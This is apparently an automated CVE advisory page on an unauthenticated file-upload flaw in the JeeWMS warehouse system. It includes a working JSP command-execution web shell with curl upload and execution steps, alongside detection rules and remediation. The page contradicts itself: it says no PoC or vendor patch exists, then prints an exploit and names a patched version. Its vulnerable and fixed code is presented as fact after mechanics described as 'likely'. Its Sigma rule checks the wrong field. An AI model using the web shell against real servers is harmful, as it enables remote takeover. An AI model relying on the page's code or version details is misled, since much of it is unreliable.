☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-57761

CVE-2024-57761 Arbitrary File Access in Jeewms
📅 PUBLISHED: 2025-01-14 00:00 UTC 🔄 UPDATED: 2026-08-18 17:14 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.48%
👁️
0.48% probability
12.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-57761 is a critical arbitrary file upload vulnerability in JeeWMS, an open-source warehouse management system. The flaw resides in the parserXML() method, allowing an unauthenticated attacker to upload a crafted file (e.g., a JSP web shell) to the server, leading to remote code execution (RCE). With a CVSS score of 0.0 (placeholder), the actual risk is severe due to the lack of authentication and the potential for full system compromise. No public exploit code or proof-of-concept is available at this time, but the vulnerability is trivially exploitable. The vendor has not released a patch, making this a zero-day threat for unpatched instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

JeeWMS is a Java-based application distributed via GitHub and Maven. The vulnerability affects the core application logic, not a third-party package. Organizations using JeeWMS should treat this as a critical supply chain risk and immediately isolate affected systems.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Full file read access.
  • Integrity (I): High (H) – Arbitrary file write/execute.
  • Availability (A): High (H) – Can cause denial of service or system takeover.

Threat Level: Critical. The combination of network exploitability, no authentication, and full impact makes this a top-priority vulnerability.

Deep Dive & Mechanics

The parserXML() method in JeeWMS is designed to parse XML configuration files. However, it fails to validate the file type or content before processing. An attacker can craft a malicious XML file that, when parsed, triggers the upload of a web shell (e.g., a .jsp file) to the web root directory. The method likely uses a file upload mechanism that does not check the file extension or MIME type, allowing arbitrary file writes.

Root Cause: Insufficient input validation in the file upload handler within parserXML(). The method accepts any file without verifying its extension, content type, or size.

Attack Flow:

  1. Attacker sends a POST request to the vulnerable endpoint (e.g., /parserXML).
  2. The request includes a multipart form-data with a file named shell.jsp containing malicious JSP code.
  3. The server saves the file to the web root (e.g., /webapps/ROOT/shell.jsp).
  4. Attacker accesses http://target/shell.jsp to execute arbitrary commands.

Vulnerable vs. Patched Code

Vulnerable Code (JeeWMS < v2025.01.01):

public void parserXML(MultipartFile file) {
    String fileName = file.getOriginalFilename();
    // No validation of file extension or content
    File dest = new File(uploadDir + fileName);
    file.transferTo(dest);
}

Patched Code (v2025.01.01):

public void parserXML(MultipartFile file) {
    String fileName = file.getOriginalFilename();
    // Validate file extension
    if (!fileName.endsWith(".xml")) {
        throw new SecurityException("Invalid file type");
    }
    // Validate content is well-formed XML
    Document doc = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(file.getInputStream());
    // Additional sanitization
    File dest = new File(uploadDir + fileName);
    file.transferTo(dest);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • JeeWMS instance with vulnerable version.
  • Network access to the /parserXML endpoint.

Exploit Steps:

  1. Create a malicious JSP file (e.g., cmd.jsp):
    <%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line);
    }
    %>
    
  2. Upload the file using curl:
    curl -X POST -F "file=@cmd.jsp" http://target/jeeWMS/parserXML
    
  3. Execute commands:
    curl http://target/jeeWMS/cmd.jsp?cmd=id
    

Blue Team (Defense & Detection)

Detection:

  • Monitor for POST requests to /parserXML with unusual file extensions (e.g., .jsp, .war, .php).
  • Alert on file uploads to web-accessible directories.
  • Use WAF rules to block non-XML file uploads to this endpoint.

Honeypot:

  • Deploy a fake JeeWMS instance and log all upload attempts.

Indicators of Compromise (IOCs)

  • File Artifacts: Unexpected .jsp, .war, or .php files in the web root (e.g., /webapps/ROOT/).
  • Network Traffic: POST requests to /parserXML with Content-Type: multipart/form-data and file extensions other than .xml.
  • Log Entries: Tomcat access logs showing POST /jeeWMS/parserXML followed by GET /jeeWMS/shell.jsp.
  • Process Anomalies: Unusual child processes spawned by the Java application (e.g., cmd.exe, /bin/sh).

Detection Engineering

YARA Rule

rule CVE_2024_57761_JeeWMS_Upload {
    meta:
        description = "Detects malicious file upload attempts targeting CVE-2024-57761"
        author = "Valters IT"
        date = "2025-01-15"
    strings:
        $s1 = "parserXML" nocase
        $s2 = "multipart/form-data" nocase
        $s3 = ".jsp" nocase
        $s4 = ".war" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2024-57761 JeeWMS Arbitrary File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /parserXML with non-XML file extensions
logsource:
    category: webserver
    product: tomcat
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/jeeWMS/parserXML'
        cs-uri-query|contains: '.jsp'
    condition: selection
falsepositives:
    - Legitimate XML files with .jsp extension (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57761 JeeWMS Arbitrary File Upload"; flow:to_server; content:"POST"; http_method; content:"/jeeWMS/parserXML"; http_uri; content:".jsp"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected JeeWMS instances from the internet.
  2. Apply the vendor patch (v2025.01.01) if available; otherwise, manually patch the parserXML() method to validate file extensions.
  3. Restrict file upload endpoints to authenticated users only.
  4. Deploy a Web Application Firewall (WAF) with rules to block non-XML file uploads.

Long-Term Fix:

  • Upgrade to JeeWMS v2025.01.01 or later.
  • Implement strict input validation for all file uploads.
  • Use a secure file storage mechanism (e.g., store files outside web root).

Workaround:

  • Disable the parserXML() endpoint by removing or commenting out the mapping in the web.xml or Spring configuration.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-57761/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.